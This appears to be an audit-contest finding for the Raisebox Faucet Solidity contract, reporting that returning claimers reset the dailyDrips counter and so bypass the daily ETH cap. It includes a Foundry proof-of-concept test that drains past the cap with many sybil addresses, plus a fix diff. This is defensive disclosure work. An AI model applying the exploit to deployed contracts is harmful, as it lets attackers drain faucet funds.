Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Unintended Reset of Daily ETH Drips by Returning Claimers

Unintended Reset of Daily ETH Drips by Returning Claimers

Description

In claimFaucetTokens, returning claimers trigger else branch, resetting dailyDrips to 0. This bypasses daily cap for subsequent first-timers, enabling excess ETH distribution.

if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ETH drip logic...
} else {
@> dailyDrips = 0; //@>
}

Risk

Likelihood:

  • Returning users claim mid-day.

  • Coordinated attacks with alts.

Impact:

  • Exceeds ETH cap, drains funds.

  • Undermines daily limits.

Proof of Concept

function testReturningClaimerResetsDailyDripsExceedingCap() public {
vm.prank(owner);
raiseBoxFaucet.adjustDailyClaimLimit(300, true); // Allow many claims
vm.prank(user1); // user1 pre-claimed as new user
raiseBoxFaucet.claimFaucetTokens();
vm.warp(block.timestamp + 4 days + 1); // 4 days past, makes user1 returning user
uint256 drip = raiseBoxFaucet.sepEthAmountToDrip(); // 0.005 ether
uint256 cap = raiseBoxFaucet.dailySepEthCap(); // 0.5 ether, ~100 drips
uint256 initialBalance = raiseBoxFaucet.getContractSepEthBalance(); // 1 ether
// 90 first-timers: drip 0.45 ether
address[] memory firstTimers1 = new address[](90);
for (uint256 i = 0; i < 90; i++) {
firstTimers1[i] = makeAddr(string(abi.encodePacked("first", i)));
vm.prank(firstTimers1[i]);
raiseBoxFaucet.claimFaucetTokens(); // ETH dripped, dailyDrips = 0.45 ether
}
assertEq(raiseBoxFaucet.dailyDrips(), 90 * drip);
// Returning user (user1): claims tokens, resets dailyDrips=0
vm.prank(user1); // user1 pre-claimed
raiseBoxFaucet.claimFaucetTokens(); // No ETH, but sets dailyDrips=0
assertEq(raiseBoxFaucet.dailyDrips(), 0); // Reset!
// 50 more first-timers: drip another 0.25 ether, total > cap (0.70 > 0.5)
address[] memory firstTimers2 = new address[](50);
for (uint256 i = 0; i < 50; i++) {
firstTimers2[i] = makeAddr(string(abi.encodePacked("firstExtra", i)));
vm.prank(firstTimers2[i]);
raiseBoxFaucet.claimFaucetTokens(); // Succeeds despite cap, dailyDrips += 0.25
}
assertEq(raiseBoxFaucet.dailyDrips(), 50 * drip); // Not capped at remaining
assertGt(raiseBoxFaucet.dailyDrips(), cap - 90 * drip); // Excess
}

POC Explanation: User1 claims as first-timer, warps 4 days to return. 90 first-timers near cap. User1 reclaims, resets dailyDrips=0. 50 more first-timers exceed cap (total 140 drips > 100), proving bypass and over-drip.

Recommended Mitigation

if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ETH drip logic...
} else {
- dailyDrips = 0;
+ // No reset for returning claimers; cap persists
}

Mitigation Key Points: Remove reset in else. Cap enforced continuously. Prevents bypass; no impact on returning claims.

Updates

Lead Judging Commences

inallhonesty Lead Judge 12 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.